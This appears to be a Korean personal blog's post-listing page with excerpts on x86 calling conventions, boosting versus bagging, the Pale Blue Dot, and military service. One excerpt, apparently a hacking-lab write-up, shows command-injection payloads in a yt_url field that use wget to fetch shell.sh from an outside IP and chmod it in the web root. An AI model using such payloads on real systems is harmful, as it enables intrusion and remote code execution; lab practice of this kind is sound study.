쿠키 14

x86 함수 호출 규약에 대해서 알아봅시다

x86 함수 호출 규약: stdcall: 인자들을 스택에 푸시하며, 호출된 함수(callee)가 스택 정리를 담당합니다. 이 규약은 Windows API 함수에서 주로 사용됩니다. cdecl: 인자들을 스택에 푸시하며, 호출하는 함수(caller)가 스택 정리를 담당합니다. 이 규약은 일반적인 함수에서 주로 사용됩니다. fastcall: 첫 두 개의 인자를 ECX와 EDX 레지스터에 저장하고, 나머지 인자들은 스택에 푸시합니다. 호출된 함수(callee)가 스택 정리를 담당합니다. 이 규약은 최적화가 필요한 함수에서 사용됩니다. thiscall: 인스턴스 포인터를 ECX에 저장하고, 나머지 인자들은 스택에 푸시합니다. 호출된 함수(callee)가 스택 정리를 담당합니다. 이 규약은 클래스의 멤버 함수에서..

호그와트 2023.07.26

오늘도 즐거운 해킹 실습

yt_url= ---;wget${IFS}http://10.9.32.166:8090/shell.sh;: This command downloads a file named shell.sh from a server located at http://10.9.32.166:8090/. The yt_url variable seems irrelevant in this context. 위의 내용처럼 yt_url 오늘 실습에서는 해당 지점에 명령어를 넣을 수 있는 취약점이 있었다. 그 취약점을 이용하여 거의 어떠한 명령어든 실행이 가능했다. ls 혹은 id 혹은 중요한 파일 등을 읽는 것 등이 모두 가능했다. yt_url=--version;chmod${IFS}755${IFS}/var/www/html/shell.sh;: Th..

호그와트 2023.07.19

Boosting vs Bagging: The Battle Against Overfitting in the Forest of Trees

Overfitting is generally more of a concern with boosting algorithms than with bagging algorithms when increasing the number of trees. Boosting algorithms like Gradient Boosting and AdaBoost train models sequentially, where each new model is trained to correct the mistakes made by the previous ones. This process can create complex models that fit the training data very well. However, if too many ..

아주 거대한 공간 속에 작은 파란 점

아주 거대한 공간 속에 작은 파란 점 (정식 명칭은 '창백한 푸른 점'이다 이는 칼 세이건의 책을 번역했을 때 한국어 제목이기도 하다) 나는 이따금씩 이 광활한 공간을 머릿속에 그려본다. 이 사진은 태양 공전면의 32도 위를 지나가고 있는 보이저 1호가 본 지구의 사진이다(지구와의 거리 약 61억 킬로미터). 나의 상상은 단순 태양계를 벗어나 전체 은하계로 향한다. 다시 그 은하계 밖으로, 저 먼 성운들 사이로 나는 우리의 태양보다 더 큰 하나의 항성에 걸터앉아 다시 우리 지구를 가만히 쳐다본다. 내 눈에 들어오는 수 조 개에 이르는 별들 사이에 작은 파란 점 하나. 그것이 바로 지구이다. 가끔씩 이어지는 이러한 메타인지는 내게 말로 다할 수 없는 평화를 주었다. 가끔 느끼는 인생이라는 무게에서 오는 허..

독서 일기 2023.06.20

기억의 조각

나는 달렸다. 달리는 거 외에는 어떠한 선택지도 내게 존재하지 않았다. 해가 적막하게 저물어 갈 때도 바닷바람이 시원하게 불어와 갈비뼈 사이를 어루만질 때도 나는 그저 조용히 달렸다. 달리는 것은 내게 반항할 수 없는 세상에 대한 반항이었다. 나의 말이 금지당한 곳에서 포효하는 나만의 반항어語였다. 황금 같은 20대의 어느 날, 나는 한국 남자라면 당연히 간다는 군대에 갔다. 훈련소는 일과를 체조와 달리기로 시작한다. 약 3km 정도 되는 거리를 달린다. 어제도, 오늘도, 내일도. 이는 자대에서도 마찬가지였다. 아침에 일어나면 군수체조를 했다. 병장 때 되면 눈 감고 반수면 상태로 하는 그 체조가 끝나면, 군화를 신고 연병장을 달렸다. 언제가 되어야 끝이 날까. 어제도, 오늘도, 내일도 계속되었다. 달리..

군대이야기 2023.06.19